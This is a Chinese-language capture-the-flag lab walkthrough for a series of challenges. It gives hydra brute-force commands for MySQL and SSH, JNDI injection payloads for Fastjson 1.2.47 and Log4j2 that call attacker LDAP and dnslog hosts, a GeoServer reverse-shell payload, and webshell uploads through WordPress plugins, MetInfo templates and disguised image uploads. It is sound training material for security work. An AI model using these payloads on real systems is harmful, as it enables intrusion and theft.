极核靶场通关

Mysql - 密码爆破

已经指定目标用户名为 root,使用 hydra 工具爆破密码

1
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://node.hackhub.get-shell.com:51236 -t 4

爆破得到密码,使用数据库工具(例如 Navicat)连接即可找到 flag

SSH - 密码爆破

给出的默认用户名是 user,仍然使用 hydra 工具爆破密码

1
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://node.hackhub.get-shell.com:62621 -t 4

爆破得到密码,ssh 工具连接,直接读 flag 发现没有权限,root 密码不知道,但是我们知道 user 的密码,使用 sudo 执行命令,输入 user 密码,即可得到 flag

Fastjson 1.2.47 - 远程代码执行

在登陆处抓包,发现账号密码是通过 json 进行数据传输

构造 POST 数据,删除末尾的大括号使其报错,发现是标准的 fastjson 后端

POST 发送如下数据包,在 dnslog 上接收到请求,证明漏洞存在

1
2
3
4
{
"@type":"java.net.Inet4Address",
"val":"3mqyx3.dnslog.cn"
}

利用报错查看精确版本号,fastjson1.2.47,网上自己找找相关漏洞文章

1
2
{
"@type": "java.lang.AutoCloseable"

通过恶意 JNDI 地址让靶机加载并执行远程代码,这里执行的反弹命令必须是 nc,没有 bash

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

将生成的 JNDI 地址写入 POST 数据包对应位置,攻击机开启监听,发送数据包,即可拿到 shell

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:port/wwsebk",
"autoCommit":true
}
}

GeoServer - 远程代码执行

进入 geoserver 首页,先抓个包,POST 方式在 /geoserver/wfs 路由提交以下数据反弹 shell

需要修改一下 Content-Type 为 application/xml

1
2
3
4
5
6
7
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'反弹shell命令')</wfs:valueReference>
</wfs:GetPropertyValue>

Log4j2 - 远程代码执行

首先利用 dnslog 判断漏洞是否存在,同时探测一下 java 版本

1
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.f9dvag.dnslog.cn}

dnslog 收到请求,漏洞存在,同时判断出 java 版本是 1.8

然后还是使用 JNDI 注入工具生成恶意 JNDI 地址,执行反弹 shell 命令

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

将生成的地址填入以下 payload 对应位置,同时攻击机开启监听

1
/solr/admin/cores?action=${jndi:ldap://ip:port/flnl6n}

成功拿到 shell,得到 flag

MetInfo 4.0

MetInfo 4.0 存在一个修改任意用户密码的漏洞,先注册一个用户登陆,登陆后抓一个修改信息的包,将用户名修改为 admin,重放,提示操作成功,此时我们已经将管理员的信息修改为原本注册账号的信息了

访问 /admin/ 目录进入后台,管理员账号密码是刚修改的

写一个一句话木马,打包成压缩包,在界面风格->模板管理->添加新模板处上传木马压缩包,上传后会自动将压缩包里面的 shell.php 文件解压到网站的 /templates/ 目录下

蚁剑成功连接,根目录找到 flag

Shiro550 - Shiro反序列化

特征是勾选记住密码后,登陆响应包中有 Set-Cookie: rememberMe=deleteMe; 字段

使用 Shiro 反序列化工具一把梭

SpringBoot - 信息泄露

主界面什么都没有,dirsearch 扫一下目录

1
python dirsearch.py -u "http://node.hackhub.get-shell.com:55748/"

发现 /admin 路由是后台地址,/actuator 路由是所有存在的断点

访问 /actuator/env 发现网站用户名 webadmin

下载 JAVA 堆栈文件 heapdump,使用工具 JDumpSpider 提取敏感信息,命令如下:

1
java -jar .\JDumpSpider.jar .\heapdump

得到后台账号密码

1
2
admin.username = webadmin
admin.password = adminweb

访问 /admin/ 路由登陆后台即可得到 flag

ThinkPHP 5.0.23 - 远程代码执行

thinkphp 综合利用工具一把梭

WordPress - “花咲雨町”

靶机搭建的应用程序是 WordPress,在 /wp-json/wp/v2/users API 端点可以查看用户列表,访问发现只有一个用户,用户名为 webadmin

xmlrpc.php 文件下通过 POST 方式发送数据,查询可以使用哪些方法

1
2
3
4
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

发现有很多方法可以用,使用 wp.getUsersBlogs 方法来爆破密码,数据包如下

1
2
3
4
5
6
7
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>

爆破得到密码为 admin123,登陆后台,在后台管理->插件->上传插件处上传我们下载好的插件

在 WordPress 官方地址下载插件

1
https://cn.wordpress.org/plugins/

随便下载一个然后在插件目录下写一个 shell.php,再重新打包上传到后台插件处上传

启用插件,查看可以看到插件已经成功加载,shell.php 文件也存在

WordPress 的插件目录在 /wp-content/plugins/,后面加上自己下载的插件目录和木马名,蚁剑连接成功,在根目录下得到 flag

哪吒监控

默认账号密码 admin admin 登陆,直接进入命令行执行命令

彩虹目录列表

进入后台管理,弱口令爆破得到账号密码为 admin 123456, 登陆后台后进入首页可以任意上传文件

直接上传一句话木马,访问连接即可

朵米客服平台

首先注册登陆进入后台,在后台系统设置->广告设置处可以上传图片,bp 抓一个上传文件的包

修改 POST 数据包,将 data:image/jpeg 更改为 data:image/php,base64 的内容替换为 base64 编码的一句话木马,成功上传

拼接 url 地址,蚁剑成功连接,根目录下找到 flag